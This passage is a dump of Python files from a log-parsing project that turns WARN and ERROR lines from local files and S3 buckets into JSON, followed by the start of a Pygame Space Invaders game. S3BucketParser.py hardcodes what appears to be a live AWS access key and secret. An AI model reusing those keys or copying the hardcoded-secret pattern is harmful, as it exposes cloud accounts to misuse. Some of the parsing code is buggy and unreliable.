source_pathway\n else:\n break\n except:\n raise Exception(\"Something went wrong with your file, or destination path\")\n\n def GetDestination(self):\n try:\n property_file = open(self.propertyFile, 'r')\n for line in property_file:\n if \"DestinationPath\" in line:\n return line.split(\"=\")[-1].strip()\n except:\n raise Exception(\"Something went wrong with your file, or destination path\")\n\n def CreateJsonFile(self, listOfWarnings):\n destination = self.GetDestination()\n\n if listOfWarnings:\n with open(destination + \"AllResults\" + '.json', 'w') as log_file:\n log_file.write('\\n'.join(json.dumps(i) for i in listOfWarnings) + '\\n')\n #json.dump(listOfWarnings, log_file, indent=4)\n\n def RunParser(self):\n command_line_arguments = sys.argv[1:]\n source_path = self.GetSource()\n destination_path = self.GetDestination()\n\n if (source_path or destination_path) is None:\n raise Exception(\"Something went wrong with your file, source path, or destination path\")\n\n elif not command_line_arguments:\n parser = FolderParser(source_path, destination_path, 0, 0, \"\")\n list_of_warnings = parser.ParseFolder()\n self.CreateJsonFile(list_of_warnings)\n\n elif command_line_arguments[0] == \"help\":\n print(\"You must put an input parameter along with the necessary arguments. For example: LogParser.py 5 sql\")\n print(\"InputParam=0, Input is given by user in terminal to indicate that a folder needs to be parsed\")\n print(\"InputParam=1, Input is given by user in terminal to indicate that a specific log file in the \"\n \"folder needs to be parsed\")\n print(\"InputParam=2, Input is given by user in terminal to indicate that two specific log files in the \"\n \"folder needs to be parsed\")\n print(\"InputParam=3, Input is given by user in terminal to indicate that three specific log files in the \"\n \"folder needs to be parsed\")\n print(\"InputParam=4, Input is given by user in terminal to indicate a specific start date & end date\")\n print(\"InputParam=5, Input is given by user in terminal to indicate a specific pattern\")\n\n else:\n command_input = int(command_line_arguments[0])\n\n if len(command_line_arguments) < 1:\n raise Exception(\"Please enter an argument\")\n\n elif command_input < 0 or command_input > 5:\n raise Exception(\"Please enter a valid input paramater\")\n\n elif command_input == 0:\n parser = FolderParser(source_path, destination_path, 0, 0, \"\")\n list_of_warnings = parser.ParseFolder()\n self.CreateJsonFile(list_of_warnings)\n\n elif command_input == 1:\n # create command for multiple files....\n file_name = source_path + \"/\" + command_line_arguments[1].strip()\n parser = FileParser(file_name, destination_path, 0, 0, \"\")\n list_of_all_warnings = parser.ParseFile()\n self.CreateJsonFile(list_of_all_warnings)\n\n elif command_input == 2:\n first_file_name = source_path + \"/\" + command_line_arguments[1].strip()\n parser_one = FileParser(first_file_name, destination_path, 0, 0, \"\")\n list_one = parser_one.ParseFile()\n\n second_file_name = source_path + \"/\" + command_line_arguments[2].strip()\n parser_two = FileParser(second_file_name, destination_path, 0, 0, \"\")\n list_two = parser_two.ParseFile()\n\n self.CreateJsonFile(list_one + list_two)\n\n elif command_input == 3:\n first_file_name = source_path + \"/\" + command_line_arguments[1].strip()\n parser_one = FileParser(first_file_name, destination_path, 0, 0, \"\")\n list_one = parser_one.ParseFile()\n\n second_file_name = source_path + \"/\" + command_line_arguments[2].strip()\n parser_two = FileParser(second_file_name, destination_path, 0, 0, \"\")\n list_two = parser_two.ParseFile()\n\n third_file_name = source_path + \"/\" + command_line_arguments[3].strip()\n parser_three = FileParser(third_file_name, destination_path, 0, 0, \"\")\n list_three = parser_three.ParseFile()\n\n self.CreateJsonFile(list_one + list_two + list_three)\n\n elif command_input == 4:\n start_date = command_line_arguments[1]\n end_date = command_line_arguments[2]\n parser = FolderParser(source_path, destination_path, start_date, end_date, \"\")\n list_one = parser.ParseFolder()\n self.CreateJsonFile(list_one)\n\n elif command_input == 5:\n pattern = command_line_arguments[1]\n parser = FolderParser(source_path, destination_path, 0, 0, pattern)\n list_one = parser.ParseFolder()\n self.CreateJsonFile(list_one)\n\n\nif __name__ == '__main__':\n LogParser = LogParser(\"/Users/shrirangbagdi/PycharmProjects/LogParser/LogParser.properties\")\n LogParser.RunParser()\n" }, { "alpha_fraction": 0.5838996171951294, "alphanum_fraction": 0.5938316583633423, "avg_line_length": 29.365079879760742, "blob_id": "dbc17b59c1efd0f8fa8d66bd3b6f345880d226f7", "content_id": "02ccc4ab1fec2247ec6b79a0682f5edbd4e8de53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1913, "license_type": "no_license", "max_line_length": 142, "num_lines": 63, "path": "/S3BucketParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import json\nimport os\n\nimport boto3\n\nfrom BucketFolderParser import BucketFolderParser\n\n\nclass S3BucketParser:\n def __init__(self, bucketName):\n self.bucketName = bucketName\n\n def Parser(self):\n bucket = self.findBucket()\n if not bucket:\n print(\"Bucket not found!\")\n\n else:\n self.bucketParser(bucket)\n\n def findBucket(self):\n s3_object = boto3.resource('s3', aws_access_key_id=\"AKIASCMI453UEAI6B3OS\",\n aws_secret_access_key=\"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\")\n\n for each_bucket in s3_object.buckets.all():\n if each_bucket.name == \"unravellogdata\":\n return each_bucket\n\n def bucketParser(self, bucket):\n for obj in bucket.objects.all():\n bucket_parser = BucketFolderParser(obj)\n messages = bucket_parser.parseBucketFolder()\n file_name = self.getFileName(obj.key)\n self.createJson(messages, file_name)\n self.uploadToS3(messages, obj.key)\n\n def getFileName(self, objectKey):\n (file, ext) = os.path.splitext(objectKey)\n\n return file.split('/')[-1]\n\n def uploadToS3(self, messages, objectKey):\n fileName = self.getFileName(objectKey)\n\n if messages:\n s3 = boto3.client('s3')\n s3.upload_file('/Users/shrirangbagdi/Desktop/' + fileName + '.json', 'unravellogdata', self.getBucketPathway(objectKey) + \".json\")\n\n def createJson(self, messages, fileName):\n if messages:\n with open(\"/Users/shrirangbagdi/Desktop/\" + fileName + '.json', 'w') as log_file:\n log_file.write('\\n'.join(json.dumps(i) for i in messages) +\n '\\n')\n\n def getBucketPathway(self, objectKey):\n (file, ext) = os.path.splitext(objectKey)\n\n return file\n\n\nif __name__ == '__main__':\n parser = S3BucketParser(\"unravellogdata\")\n parser.Parser()\n" }, { "alpha_fraction": 0.6262295246124268, "alphanum_fraction": 0.6393442749977112, "avg_line_length": 26.68181800842285, "blob_id": "467f5e85c97306ae99beb2ea005a18bf2015fd65", "content_id": "d0cf0e6d744400fd9589d998fea43c875fde82c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 610, "license_type": "no_license", "max_line_length": 101, "num_lines": 22, "path": "/LambdaAWSFunction/LambdaFunction.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import boto3\nimport json\nimport os\n\nfrom LambdaAWSFunction.log_parser import Log_Parser\n\n\ndef lambda_handler(event, context):\n s3 = boto3.client('s3')\n bucket = 'ouput-bucket'\n\n log = Log_Parser()\n messages = log.parse_file(event)\n\n if messages:\n file_name = str(event[\"Records\"][0]['s3']['object']['key'])\n (file, ext) = os.path.splitext(file_name)\n changed_file_name = file + \".json\"\n\n uploadByteStream = bytes(('\\n'.join(json.dumps(i) for i in messages) + '\\n').encode('UTF-8'))\n\n s3.put_object(Bucket=bucket, Key=changed_file_name, Body=uploadByteStream)\n\n" }, { "alpha_fraction": 0.6474301218986511, "alphanum_fraction": 0.6501352787017822, "avg_line_length": 30.685714721679688, "blob_id": "4949c8e66ea6a1039ef69999ff18a61227350283", "content_id": "a629d4effcad392917d8797c6e53e05f7e4b684c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1109, "license_type": "no_license", "max_line_length": 117, "num_lines": 35, "path": "/FolderParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import os\nimport boto3\n\nfrom FileParser import FileParser\n\n\nclass FolderParser:\n def __init__(self, sourcePathway, destinationPathway, startDate=0, endDate=0, pattern=\"\"):\n self.sourcePathway = sourcePathway\n self.destinationPathway = destinationPathway\n self.startDate = startDate\n self.endDate = endDate\n self.pattern = pattern\n\n def ParseFolder(self):\n total_list = []\n source = self.sourcePathway\n destination = self.destinationPathway\n for file in os.scandir(source):\n if file.path.endswith(\".log\") and (file.is_file()):\n total_list += FileParser(file, destination, self.startDate, self.endDate, self.pattern).ParseFile()\n elif file.is_dir():\n parser = FolderParser(file.path, self.destinationPathway, self.startDate, self.endDate, self.pattern)\n total_list += parser.ParseFolder()\n\n return total_list\n\n\n\n\n\nif __name__ == '__main__':\n\n Parser = FolderParser('/Users/shrirangbagdi/Desktop/checkLogs', '/Users/shrirangbagdi/Desktop/')\n Parser.ParseFolder()\n" }, { "alpha_fraction": 0.5104078054428101, "alphanum_fraction": 0.5110450387001038, "avg_line_length": 39.239315032958984, "blob_id": "eb6f99d6ff988c14990dfec176a6f7b7a6948b48", "content_id": "06b8c724ee768f75ee9335c9c9ee38bcf7fe5511", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4708, "license_type": "no_license", "max_line_length": 108, "num_lines": 117, "path": "/BucketFileParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import boto3\n\nfrom PatternFour import PatternFour\nfrom PatternOne import PatternOne\nfrom PatternThree import PatternThree\n\n\nclass BucketFileParser:\n def __init__(self, caseID, fileObject):\n self.caseID = caseID\n self.fileObject = fileObject\n\n def generateMessages(self):\n list_of_messages = []\n warning = {}\n file_object = self.fileObject\n file_name = file_object.key.split(\"/\")[-1]\n previous_type = \"\"\n first_iteration = True\n\n for line in file_object.get()[\"Body\"].read().decode(encoding=\"utf-8\", errors=\"ignore\").splitlines():\n #print(line)\n\n pattern_one = PatternOne(line)\n pattern_three = PatternThree(line)\n pattern_four = PatternFour(line)\n\n if pattern_one.IsPatternOne():\n if (not first_iteration) and (previous_type == \"WARN\" or previous_type == \"ERROR\"):\n list_of_messages.append(warning)\n\n else:\n first_iteration = False\n\n warning = {}\n current_type = pattern_one.GetCurrentType()\n\n if current_type == \"WARN\":\n timestamp = pattern_one.GetTimeStamp()\n message = pattern_one.GetMessage()\n warning = {'File Name': file_name, 'Case ID': self.caseID,\n 'Timestamp': pattern_one.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n if current_type == \"ERROR\":\n timestamp = pattern_one.GetTimeStamp()\n message = pattern_one.GetMessage()\n warning = {'File Name': file_name, 'Case ID': self.caseID,\n 'Timestamp': pattern_one.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n previous_type = current_type\n elif pattern_three.IsPatternThree():\n\n if (not first_iteration) and (previous_type == \"WARN\" or previous_type == \"ERROR\"):\n list_of_messages.append(warning)\n\n else:\n first_iteration = False\n\n warning = {}\n current_type = pattern_three.GetCurrentType()\n\n if current_type == \"WARN\":\n timestamp = pattern_three.GetTimeStamp()\n message = pattern_three.GetMessage()\n warning = {'File Name': file_name, 'Case ID': self.caseID,\n 'Timestamp': pattern_three.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n if current_type == \"ERROR\":\n timestamp = pattern_three.GetTimeStamp()\n message = pattern_three.GetMessage()\n warning = {'File Name': file_name, 'Case ID': self.caseID,\n 'Timestamp': pattern_three.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n previous_type = current_type\n elif pattern_four.IsPatternFour():\n\n if (not first_iteration) and (previous_type == \"WARN\" or previous_type == \"ERROR\"):\n list_of_messages.append(warning)\n\n else:\n first_iteration = False\n\n warning = {}\n current_type = pattern_four.GetCurrentType()\n\n if current_type == \"WARN\":\n timestamp = pattern_four.GetTimeStamp()\n message = pattern_four.GetMessage()\n warning = {'File Name': file_name, 'Case ID': self.caseID,\n 'Timestamp': pattern_four.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n if current_type == \"ERROR\":\n timestamp = pattern_four.GetTimeStamp()\n message = pattern_four.GetMessage()\n warning = {'File Name': file_name, 'Case ID': self.caseID,\n 'Timestamp': pattern_four.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n previous_type = current_type\n\n\n elif previous_type == \"WARN\" or previous_type == \"ERROR\":\n warning[\"Message\"] += line\n\n if previous_type == \"ERROR\" or previous_type == \"WARN\":\n list_of_messages.append(warning)\n\n return list_of_messages\n\n\nif __name__ == '__main__':\n pass\n" }, { "alpha_fraction": 0.5334354043006897, "alphanum_fraction": 0.59162837266922, "avg_line_length": 31.11475372314453, "blob_id": "ad4bd654edff5c81ee81dd080d44a0ec3b3d4904", "content_id": "155e604f11fb68d11c66f2c7e8f742caad286fa7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1959, "license_type": "no_license", "max_line_length": 173, "num_lines": 61, "path": "/PatternThree.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "#Pattern3=\"[2020-05-11T16:54:33,500][WARN ][o.e.m.j.JvmGcMonitorService] [unravel_s_1] [gc][1126797] overhead, spent [709ms] collecting in the last [1.2s]\"\n\nimport re\nfrom datetime import datetime\n\n\nclass PatternThree:\n def __init__(self, line):\n self.line = line\n\n def IsPatternThree(self):\n try:\n time_stamp = self.line[1:24]\n message_type = self.line[26:31]\n return self.IsCorrectTimeStamp(time_stamp) and self.IsCorrectType(message_type.strip())\n\n except:\n print(\"Not Pattern Three\")\n return False\n\n def IsCorrectTimeStamp(self, TimeStamp):\n try:\n date = TimeStamp[0:10]\n time = TimeStamp[11:23]\n character = TimeStamp[10]\n\n date_to_match = re.compile(r'\\d\\d\\d\\d-\\d\\d-\\d\\d')\n time_to_match = re.compile(r'\\d\\d:\\d\\d:\\d\\d,\\d\\d\\d')\n\n return date_to_match.match(date) and character == \"T\" and time_to_match.match(time)\n\n except:\n print(\"Not Pattern Three\")\n return False\n\n # create a variable to check for a certain type ....\n def IsCorrectType(self, message_type):\n return message_type == \"ERROR\" or message_type == \"WARN\" or message_type == \"INFO\"\n\n def ConvertTimestamp(self, TimeStamp):\n try:\n date = TimeStamp[0:10]\n time = TimeStamp[11:19]\n\n return date + \" \" + time + \".\" + TimeStamp[20:23]\n except:\n print(\"Error converting timestamp\")\n\n def GetCurrentType(self):\n return self.line[26:31].strip()\n\n def GetTimeStamp(self):\n return self.line[1:24]\n\n def GetMessage(self):\n return self.line[30:]\n\n\nif __name__ == '__main__':\n Pattern = PatternThree(\"[2020-05-11T16:54:33,500][WARN ][o.e.m.j.JvmGcMonitorService] [unravel_s_1] [gc][1126797] overhead, spent [709ms] collecting in the last [1.2s]\")\n print(Pattern.ConvertTimestamp(\"2020-05-11T16:54:33,500\"))\n" }, { "alpha_fraction": 0.5855404734611511, "alphanum_fraction": 0.5912669897079468, "avg_line_length": 25.865385055541992, "blob_id": "5d0ad874a0a267c39791fafb4a9d83978f9102cf", "content_id": "b15e3584449764b1f936c5d2fa948ccc82dadfdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1397, "license_type": "no_license", "max_line_length": 101, "num_lines": 52, "path": "/BucketFolderParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import bz2\nimport gzip\nimport os\nimport zipfile\nfrom io import BytesIO\n\nimport boto3\nfrom boto3 import s3\n\nfrom BucketFileParser import BucketFileParser\n\n\nclass BucketFolderParser:\n def __init__(self, obj):\n self.obj = obj\n\n def parseBucketFolder(self):\n directory = self.obj.key\n print(directory)\n if directory[-1] != \"/\" and self.isLog(directory) and (not self.isEmpty(self.obj)):\n case_id = self.getID(directory)\n bucket_parser = BucketFileParser(case_id, self.obj)\n message_list = bucket_parser.generateMessages()\n return message_list\n elif directory[-1] != \"/\" and self.isCompressed(directory):\n pass\n\n\n def getID(self, directory):\n if \"/\" in directory:\n return directory.split(\"/\")[0]\n else:\n return \"No ID\"\n\n def isLog(self, directory):\n (file, ext) = os.path.splitext(directory)\n return ext == \".log\"\n\n def isEmpty(self, directory):\n if directory.get()['Body'].read().decode('utf-8') == \"\":\n return True\n return False\n\n def isCompressed(self, directory):\n\n (file, ext) = os.path.splitext(directory)\n return ext == \".tar.gz\" or ext == \".log.gz\" or ext == \".zip\" or ext == \".gz\" or ext == \".tar\"\n\n\nif __name__ == '__main__':\n parser = BucketFolderParser(\"f\")\n parser.isLog(\"unravel.log\")\n" }, { "alpha_fraction": 0.529988706111908, "alphanum_fraction": 0.5333836078643799, "avg_line_length": 33.415584564208984, "blob_id": "3c2eaf2a6c26fb9e84a926f9353a9e5fadd3e054", "content_id": "a267550bcf70a9664a038ee18c2a61a1b26374de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2651, "license_type": "no_license", "max_line_length": 119, "num_lines": 77, "path": "/Parser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import json\nimport re\n\n\nclass Parser:\n def __init__(self, logfile):\n self.logfile = logfile\n\n def ParseFile(self):\n list_of_warnings = []\n log_file = open(self.logfile, 'r')\n previous_type = \"\"\n warning = {}\n first_iteration = True\n first_phrase = 0\n second_phrase = 1\n third_phrase = 2\n\n for line in log_file:\n if self.StartsCorrectly(line):\n current_type = line.split()[third_phrase]\n\n if (not first_iteration) and ((previous_type == \"WARN\") or (previous_type == \"ERROR\")):\n list_of_warnings.append(warning)\n warning = {}\n\n if current_type == \"WARN\":\n line_list = line.split()\n date = line_list[first_phrase]\n time = line_list[second_phrase]\n message = line.split(\"WARN\")[second_phrase]\n\n warning = {'Date': date, 'Time': time, 'Type': current_type, 'Message': message}\n first_iteration = False\n\n if current_type == \"ERROR\":\n line_list = line.split()\n warning = {'Date': line_list[first_phrase], 'Time': line_list[second_phrase], 'Type': current_type,\n 'Message': line.split(\"ERROR\")[second_phrase]}\n first_iteration = False\n\n previous_type = current_type\n\n elif previous_type == \"WARN\" or previous_type == \"ERROR\":\n warning[\"Message\"] += line\n\n if previous_type == \"ERROR\" or previous_type == \"WARN\":\n list_of_warnings.append(warning)\n\n with open('/Users/shrirangbagdi/Desktop/Contents.json', 'w') as log_file:\n json.dump(list_of_warnings, log_file, indent=4)\n\n def StartsCorrectly(self, line):\n first_phrase = 0\n second_phrase = 1\n minimum_length = 24\n minimum_spaces = 3\n if (len(line) < minimum_length) or (len(line.split()) < minimum_spaces):\n return False\n else:\n date = line.split()[first_phrase]\n time = line.split()[second_phrase]\n\n date_to_match = re.compile(r'\\d\\d\\d\\d/\\d\\d/\\d\\d')\n time_to_match = re.compile(r'\\d\\d:\\d\\d:\\d\\d.\\d\\d\\d')\n\n return date_to_match.match(date) and time_to_match.match(time)\n\n\nif __name__ == '__main__':\n Parser = Parser('/Users/shrirangbagdi/Desktop/l.log')\n Parser.ParseFile()\n\n# make code cleaner\n# add more methods\n# add errors exceptions\n# take in a folder, multiple log files, a log file and be able to convert into json object..\n\n" }, { "alpha_fraction": 0.559665858745575, "alphanum_fraction": 0.577565610408783, "avg_line_length": 28.40350914001465, "blob_id": "4f20370335b9c245986d95dc95b6a0f4ccf3ecfc", "content_id": "bd1a90ffc2b114631a75bf7c0223049ab0e55825", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1676, "license_type": "no_license", "max_line_length": 91, "num_lines": 57, "path": "/PatternOne.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import re\nfrom datetime import datetime\n\n\nclass PatternOne:\n def __init__(self, line):\n self.line = line\n\n def IsPatternOne(self):\n try:\n time_stamp = self.line[0:23]\n message_type = self.line.split()[2]\n return self.IsCorrectTimeStamp(time_stamp) and self.IsCorrectType(message_type)\n\n except:\n print(\"Not Pattern One\")\n return False\n\n def IsCorrectTimeStamp(self, TimeStamp):\n try:\n date = TimeStamp.split()[0]\n time = TimeStamp.split()[1]\n\n date_to_match = re.compile(r'\\d\\d\\d\\d/\\d\\d/\\d\\d')\n time_to_match = re.compile(r'\\d\\d:\\d\\d:\\d\\d.\\d\\d\\d')\n\n return date_to_match.match(date) and time_to_match.match(time)\n except:\n print(\"Not Pattern One\")\n return False\n\n#create a variable to check for a certain type ....\n def IsCorrectType(self, message_type):\n return message_type == \"ERROR\" or message_type == \"WARN\" or message_type == \"INFO\"\n\n def ConvertTimestamp(self, timestamp):\n try:\n date = timestamp.split()[0]\n time = timestamp.split()[1]\n\n return datetime.strptime(date, '%Y/%m/%d').strftime('%Y-%m-%d') + \" \" + time\n except:\n print(\"Trouble converting timestamp\")\n\n def GetCurrentType(self):\n return self.line.split()[2]\n\n def GetTimeStamp(self):\n return self.line[0:23]\n\n def GetMessage(self):\n return self.line.split(self.GetCurrentType())[-1]\n\n\nif __name__ == '__main__':\n Pattern = PatternOne(\"2020/06/19 21:41:49.537 WARN this message type is pattern one\")\n Pattern.IsPatternOne()\n" }, { "alpha_fraction": 0.5554018616676331, "alphanum_fraction": 0.556923508644104, "avg_line_length": 37.047367095947266, "blob_id": "c129ff22a48ca983a447204d2df22a94e0a873da", "content_id": "0bd0e12d7360050cf8eedeac39455e1127a3177a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7229, "license_type": "no_license", "max_line_length": 120, "num_lines": 190, "path": "/FileParser.py", "repo_name": "shrirangbagdi/LogParser", "src_encoding": "UTF-8", "text": "import json\nimport os\nimport re\n\nfrom datetime import datetime\n\nfrom PatternFour import PatternFour\nfrom PatternOne import PatternOne\nfrom PatternThree import PatternThree\n\n\nclass FileParser:\n def __init__(self, logfile, destinationPathway, dateStart=0, dateEnd=0, pattern=\"\"):\n self.logfile = logfile\n self.destinationPathway = destinationPathway\n self.dateStart = dateStart\n self.dateEnd = dateEnd\n self.pattern = pattern\n\n def ParseFile(self):\n list_of_warnings = self.GenerateWarnings()\n updated_list = self.UpdateWarningList(list_of_warnings)\n return updated_list\n\n def GenerateWarnings(self):\n\n list_of_warnings = []\n log_file = open(self.logfile, 'r')\n previous_type = \"\"\n current_type = \"\"\n warning = {}\n first_iteration = True\n count = 0\n\n for line in log_file:\n pattern_one = PatternOne(line)\n pattern_three = PatternThree(line)\n pattern_four = PatternFour(line)\n\n # check if warning is first iteration later......\n if pattern_one.IsPatternOne():\n\n if (not first_iteration) and (previous_type == \"WARN\" or previous_type == \"ERROR\"):\n list_of_warnings.append(warning)\n\n else:\n first_iteration = False\n\n warning = {}\n current_type = pattern_one.GetCurrentType()\n\n if current_type == \"WARN\":\n timestamp = pattern_one.GetTimeStamp()\n message = pattern_one.GetMessage()\n warning = {'File Name': self.GetLogFileName(), 'Timestamp': pattern_one.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n if current_type == \"ERROR\":\n timestamp = pattern_one.GetTimeStamp()\n message = pattern_one.GetMessage()\n warning = {'File Name': self.GetLogFileName(), 'Timestamp': pattern_one.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n previous_type = current_type\n\n elif pattern_three.IsPatternThree():\n\n if (not first_iteration) and (previous_type == \"WARN\" or previous_type == \"ERROR\"):\n list_of_warnings.append(warning)\n\n else:\n first_iteration = False\n\n warning = {}\n current_type = pattern_three.GetCurrentType()\n\n if current_type == \"WARN\":\n timestamp = pattern_three.GetTimeStamp()\n message = pattern_three.GetMessage()\n warning = {'File Name': self.GetLogFileName(),\n 'Timestamp': pattern_three.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n if current_type == \"ERROR\":\n timestamp = pattern_three.GetTimeStamp()\n message = pattern_three.GetMessage()\n warning = {'File Name': self.GetLogFileName(),\n 'Timestamp': pattern_three.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n previous_type = current_type\n\n\n elif pattern_four.IsPatternFour():\n\n if (not first_iteration) and (previous_type == \"WARN\" or previous_type == \"ERROR\"):\n list_of_warnings.append(warning)\n\n else:\n first_iteration = False\n\n warning = {}\n current_type = pattern_three.GetCurrentType()\n\n if current_type == \"WARN\":\n timestamp = pattern_four.GetTimeStamp()\n message = pattern_four.GetMessage()\n warning = {'File Name': self.GetLogFileName(),\n 'Timestamp': pattern_three.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n if current_type == \"ERROR\":\n timestamp = pattern_four.GetTimeStamp()\n message = pattern_four.GetMessage()\n warning = {'File Name': self.GetLogFileName(),\n 'Timestamp': pattern_three.ConvertTimestamp(timestamp),\n 'Type': current_type, 'Message': message.strip()}\n\n previous_type = current_type\n\n\n elif previous_type == \"WARN\" or previous_type == \"ERROR\":\n warning[\"Message\"] += line\n\n if previous_type == \"ERROR\" or previous_type == \"WARN\":\n list_of_warnings.append(warning)\n\n return list_of_warnings\n\n def UpdateWarningList(self, listOfWarnings):\n if (self.dateStart == 0 or self.dateEnd == 0) and self.pattern == \"\":\n self.CreateJsonFile(listOfWarnings)\n return listOfWarnings\n elif not self.pattern == \"\":\n updated_list = self.FindWarningsWithPattern(listOfWarnings)\n self.CreateJsonFile(updated_list)\n return updated_list\n elif not (self.dateStart == 0 or self.dateStart == 0):\n updated_list = self.FindWarningsWithDate(listOfWarnings)\n self.CreateJsonFile(updated_list)\n return updated_list\n return listOfWarnings\n\n def FindWarningsWithPattern(self, listOfWarnings):\n updated_list = []\n pattern = self.pattern.lower()\n for dictionaries in listOfWarnings:\n if pattern in dictionaries[\"Message\"].lower():\n updated_list.append(dictionaries)\n return updated_list\n\n def FindWarningsWithDate(self, listOfWarnings):\n updated_list = []\n start_date = datetime.strptime(self.dateStart, '%Y/%m/%d')\n end_date = datetime.strptime(self.dateEnd, '%Y/%m/%d')\n\n for dictionaries in listOfWarnings:\n date_to_compare = datetime.strptime(dictionaries[\"Date\"], '%Y-%m-%d')\n if start_date < date_to_compare < end_date:\n updated_list.append(dictionaries)\n\n return updated_list\n\n def CreateJsonFile(self, listOfWarnings):\n if listOfWarnings:\n with open(self.destinationPathway + self.GetJsonFileName() + '.json', 'w') as log_file:\n log_file.write('\\n'.join(json.dumps(i) for i in listOfWarnings) +\n '\\n')\n\n # json.dump(listOfWarnings, log_file, indent=0)\n\n def GetJsonFileName(self):\n absolute_file_pathway = self.logfile\n\n (file, ext) = os.path.splitext(absolute_file_pathway)\n\n return file.split('/')[-1]\n\n def GetLogFileName(self):\n absolute_file_pathway = self.logfile\n\n (file, ext) = os.path.splitext(absolute_file_pathway)\n\n return file.split('/')[-1] + ext\n\n\nif __name__ == '__main__':\n Parser = FileParser('/Users/shrirangbagdi/Desktop/f.log', \"/Users/shrirangbagdi/Desktop/\")\n # Parser = FileParser('/home/ec2-user/logdata', \"/Users/shrirangbagdi/Desktop/\")\n Parser.ParseFile()\n" } ]
14
motwanikapil/SpaceInvaders
https://github.com/motwanikapil/SpaceInvaders
56b44dd9ef362752846d9b0620265498602ec438
921277c14e213ac29d39b2459cf6a2042318a196
63dcdb624f3a360810f65df895d802123ef84d5d
refs/heads/main
2023-02-21T21:10:25.365038
2021-01-21T05:38:20
2021-01-21T05:38:20
329,209,202
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6705882549285889, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 20.25, "blob_id": "51bf6bd9e74a4d3411a2dc4baf68a616993adfbf", "content_id": "27131ffd67966fdb20f468650a065d7481f79296", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 85, "license_type": "no_license", "max_line_length": 34, "num_lines": 4, "path": "/README.md", "repo_name": "motwanikapil/SpaceInvaders", "src_encoding": "UTF-8", "text": "# SpaceInvaders\n# Requirements for this game are :\n## 1. Python3\n## 2. Pygame Module\n" }, { "alpha_fraction": 0.6458704471588135, "alphanum_fraction": 0.6690433621406555, "avg_line_length": 19.729032516479492, "blob_id": "d03970a101f519490f7d0566ce2ae5cc6c16f1fc", "content_id": "ce2a39cba83dcca24f9974507cf0c4dcefd6119e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3366, "license_type": "no_license", "max_line_length": 84, "num_lines": 155, "path": "/SpaceInvader.py", "repo_name": "motwanikapil/SpaceInvaders", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\nimport pygame\r\nimport random\r\nimport math\r\n#initializing the pygame\r\n\r\npygame.init()\r\n\r\n#creating the screen\r\n\r\nscreen = pygame.display.set_mode((800,600))\r\n\r\n#adding background\r\n\r\nbackground = pygame.image.load('background.png')\r\n\r\n# whatever we do in the game window is known as event\r\n# Quitting the game is also an event\r\n# Also hovering mouse also is an event\r\n\r\n\r\n#Title and Icon\r\n\r\npygame.display.set_caption(\"Space Invaders\")\r\nicon = pygame.image.load('ufo.png')\r\npygame.display.set_icon(icon)\r\n\r\n\r\n#Player\r\nplayerImg = pygame.image.load('player.png')\r\nplayerX = 370\r\nplayerY = 480\r\nplayerX_change = 0\r\n\r\n#Enemy\r\nenemyImg = pygame.image.load('alien2.png')\r\nenemyX = random.randint(0,800)\r\nenemyY = random.randint(50,150)\r\nenemyX_change = 0.3\r\nenemyY_change = 20\r\n\r\n#Bullet\r\nbulletImg = pygame.image.load('bullet.png')\r\nbulletX = random.randint(0,800)\r\nbulletY = 480\r\nbulletX_change = 0\r\nbulletY_change = 4\r\nbullet_state = \"ready\"\r\nscore = 0\r\n\r\n # Ready state means you can't see the bullet but its\r\n# ready to fire\r\n# fire state is when the bullet is fired\r\ndef player(x,y):\r\n\tscreen.blit(playerImg, (x,y))\r\n # The following is the game loop\r\n\r\ndef enemy(x,y):\r\n\tscreen.blit(enemyImg , (x,y))\r\n\r\ndef fire_bullet(x,y):\r\n\tglobal bullet_state\r\n\tbullet_state = \"fire\"\r\n\tscreen.blit(bulletImg,(x+16,y+10))\r\n\r\ndef isCollision(enemyX , enemyY , bulletX, bulletY):\r\n\tdistance = math.sqrt((math.pow((enemyX-bulletX),2))+(math.pow((enemyY-bulletY),2)))\r\n\tif distance < 27:\r\n\t\treturn 